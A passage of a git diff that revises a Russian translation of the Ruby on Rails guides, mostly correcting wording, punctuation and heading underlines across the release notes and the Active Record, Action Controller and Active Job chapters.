`ActiveRecord::Relation#none`, реализующие паттерн нулевого объекта для класса Relation. diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index d08dbf94..adf9d398 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -29,7 +29,7 @@ Action Cable — это новый фреймворк в Rails 5. Он с легкостью интегрирует [WebSockets](https://ru.wikipedia.org/wiki/WebSocket) с остальными частями вашего приложения Rails. -Action Cable позволяет писать функционал реального времени на Ruby в стиле и формате остальной части приложения Rails, в то же время являясь производительным и масштабируемым. Он представляет полный стек, включая клиентский фреймворк на JavaScript и серверный фреймворк на Ruby. Вы получаете доступ к моделям, написанным с помощью Active Record или другой ORM. +Action Cable позволяет писать функционал реального времени на Ruby в стиле и формате остальной части приложения Rails, в то же время являясь производительным и масштабируемым. Он представляет полный стек, включая клиентский фреймворк на JavaScript и серверный фреймворк на Ruby. Вы получаете доступ к моделям предметной области, написанным с помощью Active Record или другой ORM на выбор. Подробности смотрите в руководстве [Обзор Action Cable](/action-cable-overview). @@ -44,7 +44,7 @@ $ rails new my_api --api Это сделает три главные вещи: - Настроит ваше приложение для изначального использования с более ограниченным набором промежуточных программ. В частности, по умолчанию оно не включит любые промежуточные программы, полезные для браузерных приложений (такие как поддержка куки). -- Унаследует `ApplicationController` от `ActionController::API` вместо `ActionController::Base`. Также как и с промежуточными программами, это отбросит все модули Action Controller, предоставляющие функционал, в основном используемый браузерными приложениями. +- Унаследует `ApplicationController` от `ActionController::API` вместо `ActionController::Base`. Так же, как и с промежуточными программами, это отбросит все модули Action Controller, предоставляющие функционал, в основном используемый браузерными приложениями. - Настроит генераторы пропускать генерацию вьюх, хелперов и ассетов при генерации нового ресурса. Приложение представляет основу для API, которая затем может быть [настроена](/api-app) под нужды приложения. @@ -53,7 +53,7 @@ $ rails new my_api --api ### API атрибутов Active Record -Определяет в модели тип с атрибутом. Это позволит при необходимости переопределить тип существующих атрибутов. Это позволяет контролировать, как значения конвертируются в и из SQL при присвоении модели. Это также изменяет поведение значений, переданных в `ActiveRecord::Base.where`, что позволяет использовать наши объекты предметной области в большей части Active Record не полагаясь на особенности реализации или monkey patching. +Определяет в модели тип с атрибутом. Это позволит при необходимости переопределить тип существующих атрибутов. Это позволяет контролировать, как значения конвертируются в и из SQL при присвоении модели. Это также изменяет поведение значений, переданных в `ActiveRecord::Base.where`, что позволяет использовать наши доменные объекты в большей части Active Record не полагаясь на особенности реализации или monkey patching. Некоторые из вещей, которые можно достичь с помощью этого: - Тип, распознанный Active Record, может быть переопределен. @@ -473,7 +473,7 @@ Active Record * Удалена устаревшая поддержка интервалов PostgreSQL с исключенной нижней границей. ([коммит](https://github.com/rails/rails/commit/a076256d63f64d194b8f634890527a5ed2651115)) -* Удалено предупреждение об устаревании при при изменении relation с кэшированным Arel. Вместо этого вызывается ошибка `ImmutableRelation`. +* Удалено предупреждение об устаревании при изменении relation с кэшированным Arel. Вместо этого вызывается ошибка `ImmutableRelation`. ([коммит](https://github.com/rails/rails/commit/3ae98181433dda1b5e19910e107494762512a86c)) * Из ядра удален `ActiveRecord::Serialization::XmlSerializer`. Эта особенность была извлечена в гем [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml). diff --git a/source/5_1_release_notes.md b/source/5_1_release_notes.md index 8d613c6e..f5eb794d 100644 --- a/source/5_1_release_notes.md +++ b/source/5_1_release_notes.md @@ -355,7 +355,7 @@ Action Mailer * Разрешена передача lambda в качестве значений в метод `default`. ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf)) -* Добавлена поддержка параметризованного вызова рассыльщиков для совместного использования предварительных фильтров и значений по умолчанию различными экшнами рассыльщика. +* Добавлена поддержка параметризованного вызова рассыльщиков для совместного использования предварительных (before) фильтров и значений по умолчанию различными экшнами рассыльщика. ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf)) * Входящие аргументы передаются в экшн рассыльщика в событии `process.action_mailer` в ключе `args`. diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index ea3b022e..fae25047 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -15,7 +15,7 @@ Введение -------- -Action Cable с легкостью интегрирует [WebSockets](https://ru.wikipedia.org/wiki/WebSocket) с остальными частями приложения Rails. Он позволяет писать функционал реального времени на Ruby в стиле и формате остальной части приложения Rails, в то же время являясь производительным и масштабируемым. Он представляет полный стек, включая клиентский фреймворк на JavaScript и серверный фреймворк на Ruby. Вы получаете доступ к моделям, написанным с помощью Active Record или другой ORM. +Action Cable с легкостью интегрирует [WebSockets](https://ru.wikipedia.org/wiki/WebSocket) с остальными частями приложения Rails. Он позволяет писать функционал реального времени на Ruby в стиле и формате остальной части приложения Rails, в то же время являясь производительным и масштабируемым. Он представляет полный стек, включая клиентский фреймворк на JavaScript и серверный фреймворк на Ruby. Вы получаете доступ к моделям предметной области, написанным с помощью Active Record или другой ORM на выбор. Что такое Pub/Sub ----------------- diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index c230c36c..d5398089 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -8,7 +8,7 @@ * Как следить за ходом запроса через контроллер. * Как ограничить параметры, переданные в контроллер. * Как и зачем хранятся данные в сессии или куки. -* Как работать с фильтрами для исполнения кода в течение обработки запроса. +* Как работать с фильтрами для выполнения кода в течение обработки запроса. * Как использовать встроенную в Action Controller HTTP аутентификацию. * Как направлять потоковые данные прямо в браузер пользователя. * Как отфильтровывать деликатные параметры, чтобы они не появлялись в логах приложения. @@ -635,7 +635,7 @@ NOTE: Вызов одного и того же фильтра несколько ### After фильтры и around фильтры -В дополнение к фильтрам "before", можно запустить фильтры после того, как экшн был запущен, или "и до, и после". +В дополнение к фильтрам "before", можно запустить фильтры после того, как экшн был выполнен, или "и до, и после". Фильтры "after" похожи на "before", но поскольку экшн уже был запущен, у них есть доступ к данным отклика, которые будут отосланы клиенту. Очевидно, фильтры "after" не могут остановить экшн от запуска. Обратите внимание, что фильтры "after" выполняются только после успешного выполнения экшна, но не при возникновении исключения в цикле запроса. @@ -701,7 +701,7 @@ class LoginFilter end ``` -Опять же, это не идеальный пример для этого фильтра, поскольку он не запускается в области видимости контроллера, а получает контроллер как аргумент. Класс фильтра должен реализовывать метод с тем же именем, что и фильтр, поэтому для фильтра before_action класс должен реализовать метод `before`, и так далее. Метод `round` должен иметь `yield` для исполнения экшна. +Опять же, это не идеальный пример для этого фильтра, поскольку он не запускается в области видимости контроллера, а получает контроллер как аргумент. Класс фильтра должен реализовывать метод с тем же именем, что и фильтр, поэтому для фильтра `before_action` класс должен реализовать метод `before`, и так далее. Метод `around` должен иметь `yield` для выполнения экшна. Защита от подделки запросов --------------------------- @@ -741,7 +741,7 @@ Rails добавит этот токен в каждую форму, генер (the-request-and-response-objects) Объекты Request и Response ------------------------------------------------------------- -В каждом контроллере есть два accessor-метода, указывающих на объекты запроса и отклика, связанные с циклом запроса, находящегося в текущее время на исполнении. Метод `request` содержит экземпляр `ActionDispatch::Request`, а метод `response` возвращает объект отклика, представляющий то, что будет отправлено обратно на клиента. +В каждом контроллере есть два accessor-метода, указывающих на объекты запроса и отклика, связанные с циклом запроса, находящегося в текущее время на стадии выполнения. Метод `request` содержит экземпляр `ActionDispatch::Request`, а метод `response` возвращает объект отклика, представляющий то, что будет отправлено обратно на клиента. ### Объект `request` @@ -767,7 +767,7 @@ Rails собирает все параметры, посланные вмест ### Объект `response` -Объект response обычно не используется напрямую, но он создается в течение исполнения экшна и рендеринга данных, которые посылаются обратно пользователю, но иногда - например, в последующем фильтре - бывает полезно иметь доступ к отклику напрямую. Некоторые из этих accessor-методов имеют сеттеры, позволяющие изменять их значения. Чтобы получить полный перечень доступных методов, обратитесь к [документации по Rails API](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) и [документации по Rack](http://www.rubydoc.info/github/rack/rack/Rack/Response). +Объект response обычно не используется напрямую, а создается во время выполнения экшна и рендеринга данных, которые посылаются обратно пользователю, но иногда - например, в последующем фильтре - бывает полезно иметь доступ к отклику напрямую. Некоторые из этих accessor-методов имеют сеттеры, позволяющие изменять их значения. Чтобы получить полный перечень доступных методов, обратитесь к [документации по Rails API](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) и [документации по Rack](http://www.rubydoc.info/github/rack/rack/Rack/Response). | Свойство `response` | Назначение | | ------------------- | ------------------------------------------------------------------------------------------------- | diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 567683dc..08b75282 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -168,7 +168,7 @@ class UsersController < ApplicationController end ``` -NOTE: Поведением Active Job по умолчанию является запуск заданий с помощью адаптера ':async'. Поэтому можно использовать `deliver_later` для отсылки писем прямо сейчас асинхронно. Адаптер Active Job по умолчанию запускает задания с помощью пула тредов внутри процесса. Это хорошо подходит для сред development/test, так как не требует какой-либо внешней инфраструктуры, но плохо подходит для production, так как он теряет отложенные задания при перезагрузке. Если вам необходим сохраняющий бэкенд, нужно использовать адаптер Active Job, имеющий сохраняющий бэкенд (Sidekiq, Resque и т.п.). +NOTE: Поведением Active Job по умолчанию является выполнение заданий с помощью адаптера `:async`. Поэтому можно использовать `deliver_later` для отсылки писем прямо сейчас асинхронно. Адаптер Active Job по умолчанию запускает задания с помощью пула тредов внутри процесса. Это хорошо подходит для сред development/test, так как не требует какой-либо внешней инфраструктуры, но плохо подходит для production, так как он теряет отложенные задания при перезагрузке. Если вам необходим сохраняющий бэкенд, нужно использовать адаптер Active Job, имеющий сохраняющий бэкенд (Sidekiq, Resque и т.п.). Если хотите отправлять письма прямо сейчас в любом случае (например, из крона) просто вызовите `deliver_now`: diff --git a/source/action_view_overview.md b/source/action_view_overview.md index 3230b955..b3275765 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -211,7 +211,7 @@ json.email("alex@example.com") <%= render "shared/footer" %> ``` -Тут партиалы `_ad_banner.html.erb` и `_footer.html.erb` могут содержать код, разделяемый между многими страницами вашего приложения. Вам не нужно видеть код этих разделов, чтобы сконцентрироваться на определенной странице. +Здесь партиалы `_ad_banner.html.erb` и `_footer.html.erb` могут содержать контент, общий для многих страниц приложения. Нет необходимости видеть код этих разделов, чтобы сконцентрироваться на определенной странице. #### `render` без опций `partial` и `locals` diff --git a/source/active_job_basics.md b/source/active_job_basics.md index d7e04f1f..3d9483a7 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -1,7 +1,7 @@ Основы Active Job ================= -Это руководство даст вам все, что нужно, чтобы начать создавать, ставить в очередь и запускать фоновые задания. +Это руководство даст вам все, что нужно, чтобы начать создавать, ставить в очередь и выполнять фоновые задания. После его прочтения, вы узнаете: @@ -89,8 +89,8 @@ GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') Вот и все! -Запуск заданий ------------- +Выполнение заданий +------------------ Чтобы поместить задание в очередь и выполнить его в production, необходимо настроить бэкенд для очереди, т.е. нужно решить, какую стороннюю библиотеку для очереди Rails будет использовать. Rails предоставляет только внутрипроцессную систему очереди, хранящую задания в памяти. Если процесс упадет, или машина будет перезагружена, тогда в асинхронном бэкенде по умолчанию все оставшиеся задания будут потеряны. Это может быть нормальным для маленьких приложений или некритичных заданий, но для большей части серьезных приложений нужно подобрать сохраняющий бэкенд. @@ -315,7 +315,7 @@ end Исключения ---------- -Active Job предоставляет способ отлова исключений, возникших в течение запуска задания: +Active Job предоставляет способ отлова исключений, возникших во время выполнения задания: ```ruby diff --git a/source/active_model_basics.md b/source/active_model_basics.md index 7197f1b0..8ea4d836 100644 --- a/source/active_model_basics.md +++ b/source/active_model_basics.md @@ -1,7 +1,7 @@ Основы Active Model =================== -Это руководство познакомит вас со всем необходимым для начала использования классов моделей. Active Model позволяет хелперам Action Pack взаимодействовать с обычными объектами на чистом Ruby. Также, Active Model помогает с созданием гибкой, настраиваемой ORM для использования вне фреймворка Rails. +Это руководство познакомит вас со всем необходимым для начала использования классов моделей. Active Model позволяет хелперам Action Pack взаимодействовать с обычными объектами на чистом Ruby. Также Active Model помогает с созданием гибкой, настраиваемой ORM для использования вне фреймворка Rails. После прочтение данного руководства, вы узнаете: diff --git a/source/active_record_basics.md b/source/active_record_basics.md index 04a83058..fff17b2f 100644 --- a/source/active_record_basics.md +++ b/source/active_record_basics.md @@ -12,7 +12,7 @@ * О концепциях миграций базы данных, валидаций и колбэков. Что такое Active Record? ----------------------- +------------------------ Active Record это M в [MVC](https://ru.wikipedia.org/wiki/Model-View-Controller) - модель - которая является слоем в системе, ответственным за представление бизнес-логики и данных. Active Record упрощает создание и использование бизнес-объектов, данные которых требуют постоянного хранения в базе данных. Сама по себе эта реализация паттерна Active Record является описанием системы ORM (Object Relational Mapping). @@ -35,7 +35,7 @@ Active Record предоставляет нам несколько механи * Выполнения операций с базой данных в объектно-ориентированном стиле. Соглашения над конфигурацией в Active Record ----------------------------------------------- +-------------------------------------------- При написании приложения с использованием других языков программирования или фреймворков часто требуется писать много конфигурационного кода. В частности, это справедливо для фреймворков ORM. Однако, если следовать соглашениям, принятым Rails, вам придется написать совсем немного конфигураций (а иногда совсем не придется) при создании моделей Active Record. Идея в том, что в большинстве случаев вы настраиваете свои приложения одинаковым образом, и этот способ должен быть способом по умолчанию. Таким образом, явная конфигурация потребуется только тогда, когда вы не следуете соглашениям по какой-то причине. @@ -256,12 +256,12 @@ user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be bl Колбэки ------- -Колбэки Active Record разрешают присоединить код к определенным событиям в жизненном цикле ваших моделей. Это позволяет добавить поведение модели, прозрачно запустив код, когда эти события произойдут, например, когда вы создадите новую запись, обновите его, удалите его и так далее. Подробнее о колбэках можно прочитать в [руководстве по колбэкам Active Record](/active-record-callbacks). +Колбэки Active Record разрешают присоединить код к определенным событиям в жизненном цикле ваших моделей. Это позволяет добавить поведение модели, прозрачно выполнив код, когда эти события произойдут, например, когда вы создадите новую запись, обновите его, удалите его и так далее. Подробнее о колбэках можно прочитать в [руководстве по колбэкам Active Record](/active-record-callbacks). Миграции -------- -Rails представляет DSL для управления схемой базы данных, называемый миграциями. Миграции хранятся в файлах, запускаемых для любой базы данных, которую поддерживает Active Record, с использованием `rake`. Вот миграция, создающая таблицу: +Rails предоставляет DSL для управления схемой базы данных, называемый миграциями. Миграции хранятся в файлах, выполняемых для любой базы данных, которую поддерживает Active Record, с использованием `rake`. Вот миграция, создающая таблицу: ```ruby class CreatePublications < ActiveRecord::Migration[5.0] diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index 7632b567..d83786e5 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -110,7 +110,7 @@ end * `after_destroy` * `after_commit/after_rollback` -WARNING. `after_save` запускается и при создании, и при обновлении, но всегда _после_ более специфичных колбэков `after_create` и `after_update`, не зависимо от порядка, в котором запускаются макро-вызовы. +WARNING. `after_save` запускается и при создании, и при обновлении, но всегда _после_ более специфичных колбэков `after_create` и `after_update`, не зависимо от порядка, в котором выполняются макро-вызовы. NOTE: Колбэк `before_destroy` должен быть размещен перед связями `dependent: :destroy` (или использовать опцию `prepend: true`), чтобы убедиться, что они выполняются до того, как записи будут удалены с помощью `dependent: :destroy`. @@ -293,9 +293,9 @@ Article destroyed Как и в валидациях, возможно сделать вызов метода колбэка условным в зависимости от заданного предиката. Это осуществляется при использовании опций `:if` и `:unless`, которые могут принимать символ, `Proc` или массив. Опцию `:if` следует использовать для определения, при каких условиях колбэк *должен* быть вызван. Если вы хотите определить условия, при которых колбэк *не должен* быть вызван, используйте опцию `:unless`. -### Использование `:if` и `:unless` с символом +### Использование `:if` и `:unless` с `Symbol` -Опции `:if` и `:unless` можно связать с символом, соответствующим имени метода предиката, который будет вызван непосредственно перед вызовом колбэка. При использовании опции `:if`, колбэк не будет выполнен, если метод предиката возвратит false; при использовании опции `:unless`, колбэк не будет выполнен, если метод предиката возвратит true. Это самый распространенный вариант. При использовании такой формы регистрации, также возможно зарегистрировать несколько различных предикатов, которые будут вызваны для проверки, должен ли запуститься колбэк. +Опции `:if` и `:unless` можно связать с символом, соответствующим имени метода предиката, который будет вызван непосредственно перед вызовом колбэка. При использовании опции `:if`, колбэк не будет выполнен, если метод предиката возвратит false; при использовании опции `:unless`, колбэк не будет выполнен, если метод предиката возвратит true. Это самый распространенный вариант. При использовании такой формы регистрации, также возможно зарегистрировать несколько различных предикатов, которые будут вызваны, чтобы проверить, должен ли выполняться колбэк. ```ruby class Order < ApplicationRecord @@ -375,9 +375,9 @@ end Транзакционные колбэки ---------------------- -Имеются два дополнительных колбэка, которые включаются по завершению транзакции базы данных: `after_commit` и `after_rollback`. Эти колбэки очень похожи на колбэк `after_save`, за исключением того, что они не запускаются пока изменения в базе данных не будут подтверждены или обращены. Они наиболее полезны, когда вашим моделям Active Record необходимо взаимодействовать с внешними системами, не являющимися частью транзакции базы данных. +Имеются два дополнительных колбэка, которые включаются по завершению транзакции базы данных: `after_commit` и `after_rollback`. Эти колбэки очень похожи на колбэк `after_save`, за исключением того, что они не выполняются пока изменения в базе данных не будут подтверждены или обращены. Они наиболее полезны, когда вашим моделям Active Record необходимо взаимодействовать с внешними системами, не являющимися частью транзакции базы данных. -Рассмотрим, к примеру, предыдущий пример, где модели `PictureFile` необходимо удалить файл после того, как запись уничтожена. Если что-либо вызовет исключение после того, как был вызван колбэк `after_destroy`, и транзакция откатывается, файл будет удален и модель останется в противоречивом состоянии. Например, предположим, что `picture_file_2` в следующем коде не валидна, и метод `save!` вызовет ошибку. +Рассмотрим, допустим, предыдущий пример, где модели `PictureFile` необходимо удалить файл после того, как запись уничтожена. Если что-либо вызовет исключение после того, как был вызван колбэк `after_destroy`, и транзакция откатывается, файл будет удален и модель останется в противоречивом состоянии. Например, предположим, что `picture_file_2` в следующем коде не валидна, и метод `save!` вызовет ошибку. ```ruby PictureFile.transaction do diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index 2b991a0e..18c9ca9c 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -128,7 +128,7 @@ class AddPartNumberToProducts < ActiveRecord::Migration[5.0] end ``` -Точно также, вы можете сгенерировать миграцию для удаления столбца из командной строки: +Точно так же можно сгенерировать миграцию для удаления столбца из командной строки: ```bash $ bin/rails generate migration RemovePartNumberFromProducts part_number:string @@ -419,7 +419,7 @@ remove_foreign_key :accounts, name: :special_fk_name ### Когда хелперов недостаточно -Если хелперов, предоставленных Active Record, недостаточно, можно использовать метод `execute` для запуска произвольного SQL: +Если хелперов, предоставленных Active Record, недостаточно, можно использовать метод `execute` для выполнения произвольного SQL: ```ruby Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") @@ -455,7 +455,7 @@ Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") `change_table` также является обратимым, пока блок не вызывает `change`, `change_default` или `remove`. -`remove_column` обратима, если предоставить тип столбца третьим аргументом. Также предоставьте опции оригинально столбца, иначе Rails не сможет в точности пересоздать этот столбец при откате: +`remove_column` обратима, если предоставить тип столбца третьим аргументом. Также предоставьте опции оригинального столбца, иначе Rails не сможет в точности пересоздать этот столбец при откате: ```ruby remove_column :posts, :slug, :string, null: false, default: '', index: true @@ -606,7 +606,7 @@ Rails предоставляет ряд задач bin/rails для запуск $ bin/rails db:migrate VERSION=20080906120000 ``` -Если версия 20080906120000 больше текущей версии (т.е. миграция вперед) это запустит метод `change` (или `up`) для всех миграций до и включая 20080906120000, но не запустит какие-либо поздние миграции. Если миграция назад, это запустит метод `down` для всех миграций до, но не включая, 20080906120000. +Если версия 20080906120000 больше текущей версии (т.е. миграция вперед) это запустит метод `change` (или `up`) для всех миграций до и включая 20080906120000, но не выполнит какие-либо поздние миграции. Если миграция назад, это запустит метод `down` для всех миграций до, но не включая, 20080906120000. ### Откат @@ -720,7 +720,7 @@ end Если хотите, чтобы Active Record ничего не выводил, запуск `rails db:migrate VERBOSE=false` запретит любой вывод. Изменение существующих миграций --------------------------------- +------------------------------- Периодически вы будете делать ошибки при написании миграции. Если вы уже запустили миграцию, вы не сможете просто отредактировать миграцию и запустить ее снова: Rails посчитает, что он уже выполнял миграцию, и ничего не сделает при запуске `rails db:migrate`. Вы должны откатить миграцию (например, с помощью `bin/rails db:rollback`), отредактировать миграцию и затем запустить `rails db:migrate` для запуска исправленной версии. @@ -771,7 +771,7 @@ NOTE: `db/schema.rb` не может описать специфичные эл Вместо использования выгрузчика схемы Active Records, структура базы данных будет выгружена с помощью инструмента, предназначенного для этой базы данных (с помощью задачи rails `db:structure:dump`) в `db/structure.sql`. Например, для PostgreSQL используется утилита `pg_dump`. Для MySQL и MariaDB этот файл будет содержать результат `SHOW CREATE TABLE` для разных таблиц. -Загрузка таких схем это просто запуск содержащихся в них выражений SQL. По определению создастся точная копия структуры базы данных. Использование формата `:sql` схемы, однако, предотвращает загрузку схемы в СУБД иную, чем использовалась при ее создании. +Загрузка таких схем это просто выполнение содержащихся в них выражений SQL. По определению создастся точная копия структуры базы данных. Использование формата `:sql` схемы, однако, предотвращает загрузку схемы в СУБД иную, чем использовалась при ее создании. ### Выгрузки схем и контроль исходного кода @@ -786,7 +786,7 @@ NOTE: `db/schema.rb` не может описать специфичные эл Валидации, такие как `validates :foreign_key, uniqueness: true`, это один из способов, которым ваши модели могут соблюдать ссылочную целостность. Опция `:dependent` в связях позволяет моделям автоматически уничтожать дочерние объекты при уничтожении родителя. Подобно всему, что работает на уровне приложения, это не может гарантировать ссылочной целостности, таким образом кто-то может добавить еще и [внешние ключи как ограничители ссылочной целостности](#foreign-keys) в базе данных. -Хотя Active Record не предоставляет каких-либо инструментов для работы напрямую с этими функциями, метод `execute` может использоваться для запуска произвольного SQL. +Хотя Active Record не предоставляет каких-либо инструментов для работы напрямую с этими функциями, метод `execute` может использоваться для выполнения произвольного SQL. Миграции и сиды --------------- diff --git a/source/active_record_querying.md b/source/active_record_querying.md index b0f93894..40f11afc 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -302,7 +302,7 @@ Client.where(first_name: 'does not exist').take! ### Получение нескольких объектов пакетами -Часто необходимо перебрать огромный набор записей, когда рассылаем письма всем пользователям или импортируем некоторые данные. +Часто необходимо перебрать огромный набор записей, например, когда рассылаем письма всем пользователям или импортируем некоторые данные. Это может показаться простым: @@ -596,7 +596,7 @@ Client.order("orders_count ASC").order("created_at DESC") # SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC ``` -WARNING: Если используется **MySQL 5.7.5** и выше, то при выборе полей из результирующей выборки с помощью методов, таких как `select`, `pluck` и `ids`, метод `order` вызовет исключение `ActiveRecord::StatementInvalid`, если поля, используемые в выражении `order` не включены в список выбора. Смотрите следующий раздел по выбору полей из результирующей выборки. +WARNING: Если используется **MySQL 5.7.5** и выше, то при выборе полей из результирующей выборки с помощью методов, таких как `select`, `pluck` и `ids`; метод `order` вызовет исключение `ActiveRecord::StatementInvalid`, если поля, используемые в выражении `order`, не включены в список выбора. Смотрите следующий раздел по выбору полей из результирующей выборки. Выбор определенных полей ------------------------ @@ -658,7 +658,7 @@ query.distinct(false) Client.limit(5) ``` -возвратит максимум 5 клиентов, и, поскольку не определено смещение, будут возвращены первые 5 клиентов в таблице. Запускаемый SQL будет выглядеть подобным образом: +возвратит максимум 5 клиентов, и, поскольку не определено смещение, будут возвращены первые 5 клиентов в таблице. Выполняемый SQL будет выглядеть подобным образом: ```sql SELECT * FROM clients LIMIT 5 @@ -706,7 +706,7 @@ Order.group(:status).count # => { 'awaiting_approval' => 7, 'paid' => 12 } ``` -SQL, который будет исполнен, будет выглядеть как-то так: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT COUNT (*) AS count_all, status AS status @@ -747,7 +747,7 @@ HAVING sum(price) > 100 Article.where('id > 10').limit(20).order('id asc').unscope(:order) ``` -SQL, который будет выполнен: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT * FROM articles WHERE id > 10 LIMIT 20 @@ -779,7 +779,7 @@ Article.order('id asc').merge(Article.unscope(:order)) Article.where('id > 10').limit(20).order('id desc').only(:order, :where) ``` -SQL, который будет выполнен: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT * FROM articles WHERE id > 10 ORDER BY id DESC @@ -803,14 +803,14 @@ end Article.find(10).comments.reorder('name') ``` -SQL, который будет выполнен: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT * FROM articles WHERE id = 10 LIMIT 1 SELECT * FROM comments WHERE article_id = 10 ORDER BY name ``` -В случае, когда условие `reorder` не было использовано, запущенный SQL будет: +В случае, когда условие `reorder` не было использовано, выполненный SQL будет: ```sql SELECT * FROM articles WHERE id = 10 LIMIT 1 @@ -825,7 +825,7 @@ SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC Client.where("orders_count > 10").order(:name).reverse_order ``` -SQL, который будет выполнен: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC @@ -837,7 +837,7 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC Client.where("orders_count > 10").reverse_order ``` -SQL, который будет выполнен: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC @@ -853,7 +853,7 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC Article.where(trashed: true).rewhere(trashed: false) ``` -SQL, который будет выполнен: +SQL, который будет выполнен, будет выглядеть так: ```sql SELECT * FROM articles WHERE `trashed` = 0 @@ -899,7 +899,7 @@ end Объекты только для чтения ------------------------- -Active Record предоставляет relation метод `readonly` для явного запрета изменения любого возвращаемого объекта. Любая попытка изменить запись доступную только для чтения не удастся, вызвав исключение `ActiveRecord::ReadOnlyRecord`. +Active Record предоставляет relation метод `readonly` для явного запрета изменения любого возвращаемого объекта. Любая попытка изменить запись, доступную только для чтения, не удастся, вызвав исключение `ActiveRecord::ReadOnlyRecord`. ```ruby client = Client.readonly.first @@ -912,7 +912,7 @@ client.save Блокировка записей для обновления --------------------------------- -Блокировка полезна для предотвращения гонки условий при обновлении записей в базе данных и обеспечения атомарного обновления. +Блокировка полезна для предотвращения cостояния гонки при обновлении записей в базе данных и обеспечения атомарного обновления. Active Record предоставляет два механизма блокировки: @@ -925,7 +925,7 @@ Active Record предоставляет два механизма блокир **Столбец оптимистичной блокировки** -Чтобы начать использовать оптимистичную блокировку, таблица должна иметь столбец, называющийся `lock_version`, с типом integer. Каждый раз, когда запись обновляется, Active Record увеличивает значение `lock_version`, и средства блокирования обеспечивают, что для записи, вызванной дважды, та, которая первая успеет будет сохранена, а для второй будет вызвано исключение `ActiveRecord::StaleObjectError`. Пример: +Чтобы начать использовать оптимистичную блокировку, таблица должна иметь столбец, называющийся `lock_version`, с типом integer. Каждый раз, когда запись обновляется, Active Record увеличивает значение `lock_version`, и средства блокирования обеспечивают, что для записи, вызванной дважды, та, которая первая успеет, будет сохранена, а для второй будет вызвано исключение `ActiveRecord::StaleObjectError`. Пример: ```ruby c1 = Client.find(1) @@ -1217,7 +1217,7 @@ Category.includes(articles: [{ comments: :guest }, :tags]).find(1) Однако, если сделать так, то можно использовать `where` как обычно. ```ruby -Article.includes(:comments).where("comments.visible" => true) +Article.includes(:comments).where(comments: { visible: true }) ``` Это сгенерирует запрос с ограничением `LEFT OUTER JOIN`, в то время как метод `joins` сгенерировал бы его с использованием функции `INNER JOIN`. @@ -1567,7 +1567,7 @@ Client.find_or_create_by(first_name: 'Andy') # => # ``` -SQL, генерируемый этим методом, выглядит так: +SQL, генерируемый этим методом, будет выглядеть так: ```sql SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 @@ -1596,7 +1596,7 @@ Client.find_or_create_by(first_name: 'Andy') do |c| end ``` -Блок будет запущен только если клиент был создан. Во второй раз при запуске этого кода блок будет проигнорирован. +Блок будет выполнен, только если клиент был создан. Во второй раз, при запуске этого кода, блок будет проигнорирован. ### `find_or_create_by!` diff --git a/source/active_record_validations.md b/source/active_record_validations.md index d1bd3742..378cf557 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -167,7 +167,7 @@ end ### `errors.details` -Чтобы проверить, какая валидация упала на невалидном атрибуте, можно использовать `errors.details[:attribute]`. Он возвращает массив хэшей с ключом `:error`, чтобы получить символ валидатора: +Чтобы проверить, какие валидации упали на невалидном атрибуте, можно использовать `errors.details[:attribute]`. Он возвращает массив хэшей с ключом `:error`, чтобы получить символ валидатора: ```ruby class Person < ApplicationRecord diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 7df27172..1893b45f 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -488,7 +488,7 @@ NOTE: Определено в `active_support/core_ext/object/instance_variables silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger } ``` -Отключение исключений также возможно с помощью `suppress`. Этот метод получает определенное количество классов исключений. Если вызывается исключение на протяжении выполнения блока, и `kind_of?` соответствует любому аргументу, `suppress` ловит его и возвращает отключенным. В противном случае исключение не захватывается: +Отключение исключений также возможно с помощью `suppress`. Этот метод получает определенное количество классов исключений. Если вызывается исключение во время выполнения блока, и `kind_of?` соответствует любому аргументу, `suppress` ловит его и возвращает отключенным. В противном случае исключение не захватывается: ```ruby # Если пользователь под блокировкой, инкремент теряется, ничего страшного. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index 9f675be0..473d0284 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -30,7 +30,7 @@ gem 'uglifier' gem 'coffee-rails' ``` -Использование опции `--skip-sprockets` 